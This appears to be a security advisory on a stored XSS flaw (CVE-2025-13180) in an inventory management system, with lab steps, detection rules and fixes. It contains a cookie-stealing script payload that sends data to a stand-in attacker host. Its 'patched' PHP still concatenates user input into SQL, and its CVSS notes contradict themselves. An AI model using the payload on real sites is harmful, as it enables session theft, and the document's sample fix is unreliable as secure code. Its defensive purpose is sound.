CVE-2025-13180

Executive Summary

CVE-2025-13180 is a stored cross-site scripting (XSS) vulnerability in the Bdtask/CodeCanyon Wholesale Inventory Control and Inventory Management System, affecting versions up to March 20, 2025. The flaw resides in the /edit_profile endpoint, where the first_name and last_name parameters are not properly sanitized, allowing an attacker to inject arbitrary JavaScript. With a CVSS score of 3.5 (Low), the risk is limited due to required user interaction and low privileges, but the lack of vendor response and public exploit availability increases the urgency for users to apply manual mitigations. No supply chain package (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – attacker does not need authentication.
• User Interaction (UI): Required (R) – victim must visit the crafted profile page.
• Scope (S): Unchanged (U) – impact stays within the vulnerable component.
• Confidentiality (C): None (N) – no data exfiltration.
• Integrity (I): Low (L) – injected script can modify page content.
• Availability (A): None (N) – no denial of service.

Threat Level: Low. Exploitation requires social engineering to lure an admin or user to view the malicious profile. However, the public PoC and lack of patch elevate the risk for unmitigated deployments.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the user profile editing functionality. The application fails to sanitize or encode the first_name and last_name parameters before storing them in the database and later rendering them on the profile page. An attacker can register a new user or modify an existing profile (if allowed) to include JavaScript payloads such as:

<script>alert('XSS')</script>

When an administrator or another user views the profile, the script executes in their browser context. This can be leveraged to steal session cookies, perform actions on behalf of the victim, or deface the application. The attack is trivial to execute and requires no authentication if the registration endpoint is open.

Vulnerable vs. Patched Code

Vulnerable code (PHP example):

// /edit_profile endpoint
$first_name = $_POST['first_name'];
$last_name = $_POST['last_name'];
// Directly stored without sanitization
$db->query("UPDATE users SET first_name='$first_name', last_name='$last_name' WHERE id=$user_id");

Patched code (example):

$first_name = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
$last_name = htmlspecialchars($_POST['last_name'], ENT_QUOTES, 'UTF-8');
$db->query("UPDATE users SET first_name='$first_name', last_name='$last_name' WHERE id=$user_id");

The fix uses htmlspecialchars() to encode HTML special characters, preventing script injection. Additionally, using prepared statements would further protect against SQL injection.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a local instance of the vulnerable Wholesale Inventory Control system (version up to 20250320).
2. Craft Payload: Create a JavaScript payload to steal cookies:

   <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Inject: Register a new user or edit an existing profile, setting first_name or last_name to the payload.
4. Trigger: Send a link to the victim’s profile page (e.g., /profile?id=malicious_user) to an admin.
5. Exfiltrate: The admin’s browser executes the script, sending cookies to the attacker’s server.

Blue Team

1. Monitor: Watch for unusual profile updates containing <script> tags or suspicious URL parameters.
2. Harden: Apply input validation and output encoding as shown in the patched code.
3. WAF Rule: Block requests to /edit_profile containing <script or onerror= patterns.
4. Audit: Review all user-submitted fields for XSS vectors.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /edit_profile with first_name or last_name containing <script>, onerror, onload, or similar event handlers.
• Logs: Server access logs showing repeated profile updates from the same IP with encoded JavaScript.
• File: Presence of unexpected JavaScript in the users table under first_name or last_name columns.
• Behavior: Unusual outbound HTTP requests from the application server to external domains (cookie exfiltration).

Detection Engineering

YARA Rule

rule CVE_2025_13180_XSS_Profile {
    meta:
        description = "Detects stored XSS payloads in profile fields for CVE-2025-13180"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13180"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-13180 Stored XSS in Profile Update
id: 8a3f2c1e-5b7d-4a9f-8c6e-2d1f0a3b4c5d
status: experimental
description: Detects HTTP POST requests to /edit_profile with XSS payloads in first_name or last_name
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/edit_profile"
    keywords:
        - "<script"
        - "onerror="
        - "onload="
        - "javascript:"
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in profile fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13180 Stored XSS in Profile Update"; flow:to_server; content:"POST"; http_method; content:"/edit_profile"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the profile editing feature if not critical, or restrict access to trusted users only.
2. Input Validation: Sanitize all user inputs using htmlspecialchars() or a similar function before storage.
3. Output Encoding: Encode all data retrieved from the database before rendering in HTML.
4. Content Security Policy (CSP): Implement a strict CSP header to block inline scripts.
5. Web Application Firewall (WAF): Deploy rules to block XSS patterns in POST parameters.
6. Vendor Contact: Since the vendor is unresponsive, consider migrating to an alternative inventory management solution.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert